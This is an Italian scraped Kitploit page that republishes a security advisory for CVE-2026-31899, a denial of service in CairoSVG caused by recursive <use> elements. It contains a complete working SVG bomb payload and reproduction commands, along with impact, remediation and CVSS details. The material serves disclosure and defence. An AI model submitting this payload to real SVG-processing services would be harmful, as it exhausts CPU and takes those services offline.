Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-31899 — CVE-2026-31899: DoS esponenziale tramite amplificazione dell'elemento <use> ricorsivo in CairoSVG (CVSS 7.5 Alto) | Kitploit
Strumenti/GitHubGitHub/snailsploit/cve-2026-31899
Analisi delle VulnerabilitàExploitSicurezza WebPaper e RicercaApprendimento e Formazione
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: DoS esponenziale tramite amplificazione dell'elemento <use> ricorsivo in CairoSVG (CVSS 7.5 Alto)

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-31899: DoS esponenziale tramite amplificazione ricorsiva dell'elemento in CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

Parole chiave: CVE-2026-31899, CairoSVG, DoS esponenziale, bomba SVG, elemento use ricorsivo, negazione del servizio, amplificazione XML, vulnerabilità SVG in Python, CWE-400, consumo incontrollato di risorse, billion laughs SVG

Indice

  • Panoramica
  • Dettagli della vulnerabilità
  • Analisi tecnica
  • Prova di concetto
  • Impatto
  • Rimedio
  • Metriche CVSS
  • Riferimenti
  • Contatti

Panoramica

DoS esponenziale in CairoSVG (CVE-2026-31899) — un payload SVG di 1.411 byte blocca la CPU al 100% in modo indefinito tramite l'amplificazione ricorsiva dell'elemento .

CairoSVG (~300K download/settimana) è un convertitore Python da SVG a PNG/PDF ampiamente utilizzato. La funzione use() in cairosvg/defs.py elabora ricorsivamente gli elementi senza alcun limite di profondità o di conteggio. Con 5 livelli di annidamento e 10 riferimenti ciascuno, un piccolo SVG genera 10^5 = 100.000 chiamate di rendering — una variante SVG della "billion laughs".

Scoperto da: Kai Aizen — SnailSploit Pubblicato: 13 marzo 2026 Punteggio CVSS: 7,5 (Alto) CWE: CWE-400 — Consumo incontrollato di risorse Pacchetto: CairoSVG (PyPI) Tipo di attacco: DoS esponenziale (negazione del servizio) Privilegi richiesti: Nessuno (non autenticato)

Dettagli della vulnerabilità

Descrizione

La funzione use() in cairosvg/defs.py (riga ~335) risolve ricorsivamente gli elementi che referenziano altri elementi . Non esiste alcun limite di profondità di ricorsione né un budget totale di elementi. Un attaccante può creare un piccolo SVG in cui ogni livello referenzia il livello precedente N volte, producendo O(N^depth) chiamate di rendering a partire da un input di O(depth).

Caratteristiche principali

  • Fattore di amplificazione: O(10^N) chiamate di rendering da O(N) righe di input
  • Profilo memoria: circa 43MB costanti — nessun OOM kill, il processo non termina mai naturalmente
  • Profilo CPU: singolo core al 100% bloccato indefinitamente
  • Dimensione payload: 1.411 byte

Versioni interessate

  • Vulnerabili: tutte le versioni < 2.9.0
  • Corretta: versione 2.9.0 e successive

Analisi tecnica

La vulnerabilità esiste perché:

  1. La funzione use() in defs.py elabora ogni elemento cercando il suo target xlink:href
  2. Se il target è a sua volta un gruppo contenente elementi , questi vengono espansi ricorsivamente
  3. Non viene applicato alcun contatore di profondità o budget di elementi
  4. Ogni livello moltiplica il lavoro per il fattore di ramificazione (es. 10x per livello)

Con 5 livelli e un fattore di ramificazione di 10:

root@kitploit:~
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls

Totale: 111.111 chiamate di rendering da un input di 1.411 byte.

Prova di concetto

Payload SVG poc.svg)

root@kitploit:~
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Riproduzione

Metodo 1 — Riga di comando:

root@kitploit:~
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)

Metodo 2 — Python:

root@kitploit:~
import cairosvg
import signal

signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Impatto

Qualsiasi servizio che accetta input SVG e utilizza CairoSVG per l'elaborazione è vulnerabile:

Superficie di attaccoEsempio
Generazione di anteprime

Una singola richiesta con un payload di 1,4 KB bloccherà il thread di elaborazione indefinitamente consumando una quantità minima di memoria (nessun OOM kill a salvarti).

Rimedio

Correzione immediata

Aggiorna CairoSVG alla versione 2.9.0 o successiva:

root@kitploit:~
pip install --upgrade CairoSVG>=2.9.0

Difesa in profondità

  • Imposta timeout di elaborazione su qualsiasi endpoint di conversione SVG
  • Implementa limiti sulla dimensione degli input negli upload SVG
  • Valuta di isolare l'elaborazione SVG in worker in sandbox con limiti di tempo CPU

Metriche CVSS v3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Cronologia

DataEvento
2026-03-09CVE riservato
2026-03-13Advisory pubblicato (GHSA-f38f-5xpm-9r7c)
2026-03-13Rilasciata CairoSVG 2.9.0 con la correzione

Riferimenti

  • GHSA-f38f-5xpm-9r7c
  • NVD — CVE-2026-31899
  • CairoSVG su PyPI
  • CWE-400: Consumo incontrollato di risorse
  • Commit della correzione

Contatti

Kai Aizen (SnailSploit)

  • Web: snailsploit.com
  • GitHub: @SnailSploit
  • LinkedIn: /in/kaiaizen

⚠️ Disclaimer: Questo repository ha finalità esclusivamente educative e di ricerca sulla sicurezza autorizzata. La prova di concetto è fornita per aiutare i difensori a validare la propria esposizione. Utilizza con responsabilità.


📚 Documentazione e autore

La descrizione completa di questo progetto, la metodologia e la ricerca correlata sono disponibili su:

https://snailsploit.com/cves

Creato da Kai Aizen — ricercatore indipendente di sicurezza offensiva.

snailsploit.com · Ricerca · Framework · GitHub · LinkedIn · ResearchGate · X/Twitter

Stesso attacco. Substrato diverso.

Scarica lo strumento
Upload SVG → il server converte in PNG
Generazione di PDFSVG incorporato nel documento → CairoSVG esegue il rendering
Elaborazione di avatar/immaginiImmagini profilo SVG caricate dagli utenti
Rendering di reportGrafici SVG nei report automatizzati
Pipeline CI/CDAsset SVG elaborati durante la build
MetricaValore
Vettore di attaccoRete (AV:N)
Complessità di attaccoBassa (AC:L)
Privilegi richiestiNessuno (PR:N)
Interazione con l'utenteNessuna (UI:N)
AmbitoInvariato (S:U)
RiservatezzaNessuna (C:N)
IntegritàNessuna (I:N)
DisponibilitàAlta (A:H)